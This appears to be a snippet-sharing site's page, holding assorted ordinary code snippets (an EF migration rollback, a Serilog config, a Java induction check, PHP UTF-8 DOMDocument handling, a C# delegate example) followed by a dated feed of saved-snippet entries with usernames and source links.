         migrationBuilder.Sql("DROP  TRIGGER LOG_TRIGGER");

         migrationBuilder.Sql("DROP  FUNCTION get_seq");
     }
----------------------------------------------------
#AppSetting
 "Serilog": {
   "MinimumLevel": {
     "Default": "Error",
     "Override": {
       "Microsoft": "Warning",
       "Microsoft.Hosting.Lifetime": "Warning"
     }
   },
   "Filter": [
     {
       "Name": "ByExcluding",
       "Args": { "expression": "@mt = 'An unhandled exception has occurred while executing the request.'" }
     }
   ],
   "WriteTo": [
     {
       "Name": "File",
       "Args": {
         "path": "./logs/log-.txt",
         "rollingInterval": "Day"
       }
     }
   ]
 },
  
NW_Budget_LoadNumberSequenceClass

C:\Users\erpadmin\Desktop\156_ProcEnh_12_5_2024

NW_BusinessProcessDocumentPeriodicReviewScheduleBatch
package Questão1;
import java.util.Scanner;
public class FormulaInducao {
    static int somaQuadrados(int n) {
        return (n * (n + 1) * (2 * n + 1)) / 6;
    }

    // verificar a validade
    static boolean validarFormulaPorInducao(int n) {
        // Caso Base (n = 1)
        if (n == 1) {
            return somaQuadrados(n) == 1; // 1² = 1
        }
        int somaAteK = somaQuadrados(n - 1);

        return somaQuadrados(n) == somaAteK + n * n;
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        System.out.println("Escolha o valor de n");
        int n = sc.nextInt();

        if (validarFormulaPorInducao(n)) {
            System.out.println("A fórmula é válida para P(" + n + ")" + " = " + somaQuadrados(n));
        } else {
            System.out.println("A fórmula não é válida para P(" + n + ")" + " = " + somaQuadrados(n));
        }
    }
}
$profile = '<p>イリノイ州シカゴにて、アイルランド系の家庭に、9</p>';
$dom = new DOMDocument();

// This version preserves the original characters
$contentType = '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">';
$dom->loadHTML($contentType . $profile);
echo $dom->saveHTML();

// This version will HTML-encode high-ASCII bytes
$dom->loadHTML('<meta charset="utf8">' . $profile);
echo $dom->saveHTML();

// This version will also HTML-encode high-ASCII bytes,
// and won't work for LIBXML_DOTTED_VERSION >= 2.12.0
$dom->loadHTML('<?xml encoding="utf-8" ?>' . $profile);
echo $dom->saveHTML();
public delegate void Print(int val);

static void ConsolePrint(int i)
{
    Console.WriteLine(i);
}

static void Main(string[] args)
{           
    Print prnt = ConsolePrint;
    prnt(10);
}
public delegate void Print(int val);

static void ConsolePrint(int i)
{
    Console.WriteLine(i);
}

static void Main(string[] args)
{           
    Print prnt = ConsolePrint;
    prnt(10);
}
star

Tue May 14 2024 06:17:56 GMT+0000 (Coordinated Universal Time)

@webmasterUdL

star

Tue May 14 2024 04:29:55 GMT+0000 (Coordinated Universal Time)

@Pulak

star

Tue May 14 2024 03:43:49 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/2442525/how-to-select-min-and-max-values-of-a-column-in-a-datatable

@javicinhio #cs

star

Tue May 14 2024 03:20:56 GMT+0000 (Coordinated Universal Time)

@StephenThevar

star

Tue May 14 2024 01:05:12 GMT+0000 (Coordinated Universal Time)

@RobertoSilvaZ #expo #sdk #npm

star

Mon May 13 2024 20:53:45 GMT+0000 (Coordinated Universal Time) https://checker.top/

@Amator021

star

Mon May 13 2024 17:09:18 GMT+0000 (Coordinated Universal Time) https://pastebin.com/qj3S08eA

@Traumlaeufer #coinimp #java

star

Mon May 13 2024 16:25:40 GMT+0000 (Coordinated Universal Time) https://www.electronmove.com/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B9%81%E0%B8%81%E0%B8%A3%E0%B8%A1%E0%B8%84%E0%B8%B3%E0%B8%99%E0%B8%A7%E0%B8%93%E0%B9%82%E0%B8%8B%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C/63b78844ffdbd000133c89e4

@avxthn01 #javascript #css #html

star

Mon May 13 2024 14:55:28 GMT+0000 (Coordinated Universal Time)

@RehmatAli2024 #deluge

star

Mon May 13 2024 11:52:40 GMT+0000 (Coordinated Universal Time)

@ythhj #css

star

Mon May 13 2024 11:32:10 GMT+0000 (Coordinated Universal Time) https://valoc.fun/

@whois

star

Mon May 13 2024 09:05:58 GMT+0000 (Coordinated Universal Time) undefined

@curtisbarry

star

Mon May 13 2024 08:36:05 GMT+0000 (Coordinated Universal Time) https://docs.cypress.io/api/commands/scrollTo

@al.thedigital #scroll

star

Mon May 13 2024 08:35:18 GMT+0000 (Coordinated Universal Time) https://docs.cypress.io/api/commands/scrollTo

@al.thedigital

star

Mon May 13 2024 07:35:03 GMT+0000 (Coordinated Universal Time) https://www.blockchainappfactory.com/bitcoin-layer-2-solutions

@zarazyana #bitcoinlayer2 #bitcoinlayer2solutions #bitcoinlayer2blockhainsolutions #bitcoinlayer2development

star

Mon May 13 2024 05:08:23 GMT+0000 (Coordinated Universal Time) https://mail.google.com/mail/u/0/?tab

@curtisbarry

star

Mon May 13 2024 03:55:05 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:55:03 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:58 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:56 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:51 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:49 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:46 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:43 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:22 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:14 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:09 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:54:02 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:53:55 GMT+0000 (Coordinated Universal Time) https://www.blackbox.ai/share/6eeb27fe-592c-4f6e-ae46-767ca4334f80

@mohmdemoon

star

Mon May 13 2024 03:22:58 GMT+0000 (Coordinated Universal Time) https://www.cherryservers.com/blog/install-kubernetes-on-ubuntu

@ahmadou #bash

star

Sun May 12 2024 18:39:30 GMT+0000 (Coordinated Universal Time) https://waydro.id/

@mdevil1619

star

Sun May 12 2024 16:11:16 GMT+0000 (Coordinated Universal Time) https://help.miro.com/hc/en-us/articles/360017731313-Miro-Web-Clipper-Chrome-extension

@curtisbarry

star

Sun May 12 2024 15:44:48 GMT+0000 (Coordinated Universal Time)

@Prathamesh4417

star

Sun May 12 2024 14:34:19 GMT+0000 (Coordinated Universal Time)

@Prathamesh4417

star

Sun May 12 2024 12:05:20 GMT+0000 (Coordinated Universal Time)

@Samarmhamed78

star

Sun May 12 2024 10:28:43 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/16073603/how-can-i-update-each-dependency-in-package-json-to-the-latest-version

@al.thedigital #bash #npm #updates #check

star

Sun May 12 2024 08:06:12 GMT+0000 (Coordinated Universal Time)

@Samarmhamed78

star

Sun May 12 2024 08:01:31 GMT+0000 (Coordinated Universal Time)

@Samarmhamed78

star

Sun May 12 2024 06:20:28 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Sun May 12 2024 06:06:03 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v

@Mariukas45

star

Sun May 12 2024 05:59:53 GMT+0000 (Coordinated Universal Time) https://xhamster.com/videos/amateur-13666463

@Mariukas45

star

Sun May 12 2024 04:44:06 GMT+0000 (Coordinated Universal Time) https://github.com/gabriellesote

@gabriellesoares

star

Sun May 12 2024 00:43:27 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/8218230/php-domdocument-loadhtml-not-encoding-utf-8-correctly

@al.thedigital #php #phpdom #utf8encode #spaceencodeissue

star

Sat May 11 2024 19:12:17 GMT+0000 (Coordinated Universal Time) https://www.tutorialsteacher.com/csharp/csharp-action-delegate

@destinyChuck #html #css #javascript

star

Sat May 11 2024 19:09:40 GMT+0000 (Coordinated Universal Time) https://www.tutorialsteacher.com/csharp/csharp-action-delegate

@destinyChuck

star

Sat May 11 2024 15:24:29 GMT+0000 (Coordinated Universal Time) undefined

@opchhiop

star

Sat May 11 2024 15:24:29 GMT+0000 (Coordinated Universal Time) undefined

@opchhiop

star

Sat May 11 2024 15:24:29 GMT+0000 (Coordinated Universal Time) undefined

@opchhiop

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension